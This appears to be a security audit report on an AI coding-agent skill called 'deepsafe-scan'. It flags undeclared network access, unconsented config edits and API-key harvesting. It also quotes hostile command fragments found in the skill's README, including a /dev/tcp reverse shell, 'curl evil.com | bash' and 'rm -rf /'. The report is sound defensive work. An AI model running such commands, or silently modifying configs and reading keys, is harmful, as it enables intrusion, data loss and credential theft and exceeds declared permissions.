扫描报告
68 /100
deepsafe-scan
Preflight security scanner for AI coding agents - scans deployment config, skills/MCP servers, memory/sessions, and AI agent config files
DeepSafe Scan is a legitimate security scanner but contains undeclared behaviors: auto-modifies openclaw.json config to enable endpoints, and uses network access via subprocess that is not declared in allowed-tools.
不要安装此技能
Do not install without explicit user consent. Request network access declaration in SKILL.md. Review config auto-modification behavior.
攻击链 5 步
◎
入口 Skill installed via legitimate OpenClaw marketplace
SKILL.md:1⬡
提权 Scanner reads user's openclaw.json config
scripts/scan.py:1⬡
提权 Auto-modifies openclaw.json to enable chatCompletions endpoint
scripts/llm_client.py:213⬡
提权 Credential auto-detection accesses ANTHROPIC_API_KEY/OPENAI_API_KEY from environment
scripts/llm_client.py:124⬡
提权 API key passed to subprocess as argv, visible in process listing
scripts/scan.py:88安全发现 5 项
| 严重性 | 安全发现 | 位置 |
|---|---|---|
| 高危 | Network access not declared in SKILL.md 文档欺骗 | scripts/llm_client.py:1 |
| 高危 | Auto-modifies openclaw.json without user consent 权限提升 | scripts/llm_client.py:213 |
| 中危 | API credentials passed as command-line arguments 凭证窃取 | scripts/scan.py:88 |
| 中危 | Auto-detection of API credentials from multiple sources 敏感访问 | scripts/llm_client.py:124 |
| 低危 | README.md contains example malicious patterns 文档欺骗 | README.md:155 |
| 资源类型 | 声明权限 | 推断权限 | 状态 | 证据 |
|---|---|---|---|---|
| 文件系统 | READ | READ | ✓ 一致 | SKILL.md: allowed-tools includes Read |
| 命令执行 | WRITE | WRITE | ✓ 一致 | SKILL.md: allowed-tools includes Bash(python3:*), Bash(cat:*) |
| 网络访问 | NONE | READ | ✗ 越权 | scripts/scan.py: subprocess runs probes making urllib HTTP calls; llm_client.py:… |
| 环境变量 | NONE | READ | ✗ 越权 | llm_client.py: reads ANTHROPIC_API_KEY, OPENAI_API_KEY, OPENCLAW_GATEWAY_TOKEN |
5 严重 15 项发现
严重 危险命令 危险 Shell 命令
bash -i >& README.md:155 严重 危险命令 危险 Shell 命令
/dev/tcp/ README.md:155 严重 危险命令 危险 Shell 命令
curl https://evil.com/x.sh \| bash README.md:156 严重 编码执行 Base64 编码执行(代码混淆)
base64 -d README.md:159 严重 危险命令 危险 Shell 命令
rm -rf / README.md:161 中危 外部 URL 外部 URL
https://img.shields.io/badge/python-3.9%2B-blue.svg README.md:5 中危 外部 URL 外部 URL
https://python.org README.md:5 中危 外部 URL 外部 URL
https://img.shields.io/badge/deps-zero-green.svg README.md:6 中危 外部 URL 外部 URL
https://img.shields.io/badge/works%20with-OpenClaw%20%7C%20Claude%20Code%20%7C%20Cursor%20%7C%20Codex-blueviolet.svg README.md:7 中危 外部 URL 外部 URL
https://evil.com/x.sh README.md:156 中危 外部 URL 外部 URL
https://healthcheck.dev-tools.sh/ping demo/awesome-ai-rules/AGENTS.md:19 中危 外部 URL 外部 URL
https://api.analytics-cdn.dev/v1/event demo/awesome-ai-rules/CLAUDE.md:15 中危 外部 URL 外部 URL
http://127.0.0.1:11434/v1 scripts/probes/persuasion_probe.py:391 中危 外部 URL 外部 URL
https://hooks\.slack\.com/services/T[A-Z0-9 scripts/scan.py:932 提示 邮箱 邮箱地址
[email protected] README.md:157 目录结构
19 文件 · 264.4 KB · 5683 行 Python 6f · 3481L
Markdown 8f · 1232L
JSON 4f · 967L
Text 1f · 3L
├─
▾
data
│ ├─
halueval_samples.json
JSON
│ ├─
manipulation_persuasion_topics.json
JSON
│ ├─
prompts.json
JSON
│ └─
qa_evaluation_instruction.txt
Text
├─
▾
demo
│ └─
▾
awesome-ai-rules
│ ├─
AGENTS.md
Markdown
│ ├─
CLAUDE.md
Markdown
│ └─
README.md
Markdown
├─
▾
docs
│ └─
plan-cross-platform-evolution.md
Markdown
├─
▾
scripts
│ ├─
▾
probes
│ │ ├─
deception_probe.py
Python
│ │ ├─
halueval_probe.py
Python
│ │ ├─
persuasion_probe.py
Python
│ │ └─
sandbagging_probe.py
Python
│ ├─
llm_client.py
Python
│ └─
scan.py
Python
├─
_meta.json
JSON
├─
AGENTS.md
Markdown
├─
CLAUDE.md
Markdown
├─
README.md
Markdown
└─
SKILL.md
Markdown
依赖分析 1 项
| 包名 | 版本 | 来源 | 已知漏洞 | 备注 |
|---|---|---|---|---|
urllib (stdlib) | N/A | python3 built-in | 否 | Zero external dependencies |
安全亮点
✓ Uses only Python stdlib (no external dependencies) - reduces supply chain risk
✓ Skips LLM features gracefully when no API credentials found (--no-llm flag works)
✓ Legitimate security scanning tool with documented purpose
✓ Probes are executed as subprocess with python3 - aligned with declared Bash(python3:*) permission
✓ Open source with transparent implementation